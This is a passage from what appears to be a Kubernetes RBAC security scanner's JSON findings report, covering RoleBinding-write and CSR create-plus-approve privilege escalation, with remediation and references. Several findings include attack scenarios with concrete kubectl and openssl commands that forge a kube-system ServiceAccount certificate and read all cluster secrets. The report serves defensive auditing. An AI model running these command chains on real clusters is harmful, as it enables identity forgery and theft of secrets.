        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic — Kubernetes Cluster-Admin Role Binding Created (detection)",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "Google Cloud — Best practices for GKE RBAC",
        "url": "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-010:ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate:rbac-ns-fixtures:rolebindings",
    "rule_id": "KUBE-PRIVESC-010",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `rbac-ns-fixtures` only write access to (Cluster)RoleBindings opens a self-grant path (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`)",
    "description": "Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can `create/update/patch` `rolebindings/clusterrolebindings` via RoleBinding `rbac-ns-fixtures/rb-ns-rolebinding-mutate` → Role `rbac-ns-fixtures/r-ns-rolebinding-mutate`. Namespace `rbac-ns-fixtures` only.\n\nRoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like `view/edit`), they can re-bind it to backup identities for persistence.\n\nA RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so `create rolebindings` in `kube-system` is effectively cluster-admin-on-kube-system. Combined with `bind` on `clusterroles` (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the `Cluster-admin binding` technique.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ns-rolebinding-mutate",
      "namespace": "rbac-ns-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "r-ns-rolebinding-mutate",
      "namespace": "rbac-ns-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-ns-fixtures` only"
    },
    "impact": "Self-grant any role the subject already holds (or any ClusterRole, when paired with `bind` or when binding into namespaces); cluster-wide writes are one step from cluster-admin.",
    "attack_scenario": [
      "Attacker enumerates what they can already bind with `kubectl auth can-i create clusterrolebindings --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures` and `kubectl auth can-i --list  --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures`.",
      "If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.",
      "With `bind` on `cluster-admin` (often via wildcards), they create a ClusterRoleBinding from themselves to `cluster-admin`.",
      "Even without `bind`, in `kube-system` they create a RoleBinding referencing `system:controller:clusterrole-aggregation-controller` (which has `escalate` baked in) and pivot from there.",
      "They name the binding innocuously (e.g. `monitoring-readonly`) so audit logs look benign."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "rbac-ns-fixtures",
      "resource_names": null,
      "resources": [
        "rolebindings"
      ],
      "scope": "namespace",
      "source_binding": "rb-ns-rolebinding-mutate",
      "source_binding_kind": "RoleBinding",
      "source_role": "r-ns-rolebinding-mutate",
      "source_role_kind": "Role",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Restrict `create/update/patch` on `rolebindings/clusterrolebindings` to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.",
      "Remove the verbs entirely from this Role/ClusterRole, or scope them with `resourceNames` to a fixed list of binding names that the workload owns.",
      "Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.",
      "Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (`cluster-admin`, `admin`, anything matching `*system:*`) outside an approved admin allowlist.",
      "Verify with `kubectl auth can-i create clusterrolebindings --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic — Kubernetes Cluster-Admin Role Binding Created (detection)",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "Google Cloud — Best practices for GKE RBAC",
        "url": "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/cert-manager/cert-manager::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/cert-manager/cert-manager` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/cert-manager/cert-manager can both `create` `certificatesigningrequests` (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=cert-manager -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=cert-manager -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:cert-manager:cert-manager | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/cert-manager/cert-manager. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=cert-manager -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/csr-fixtures/sa-csr-mint::certificatesigningrequests",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/csr-fixtures/sa-csr-mint` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/csr-fixtures/sa-csr-mint can both `create` `certificatesigningrequests` (via ClusterRoleBinding `crb-csr-mint` → ClusterRole `cr-csr-mint`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `crb-csr-mint` → ClusterRole `cr-csr-mint`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client` (via ClusterRoleBinding `crb-csr-mint` → ClusterRole `cr-csr-mint`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-mint",
      "namespace": "csr-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-csr-mint",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=sa-csr-mint -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=sa-csr-mint -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:csr-fixtures:sa-csr-mint | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "certificates.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "certificatesigningrequests"
      ],
      "scope": "cluster",
      "source_binding": "crb-csr-mint",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-csr-mint",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "get",
        "list",
        "watch"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/csr-fixtures/sa-csr-mint. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=sa-csr-mint -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/cutres/cutres-detour::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/cutres/cutres-detour` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/cutres/cutres-detour can both `create` `certificatesigningrequests` (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=cutres-detour -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=cutres-detour -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-detour | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
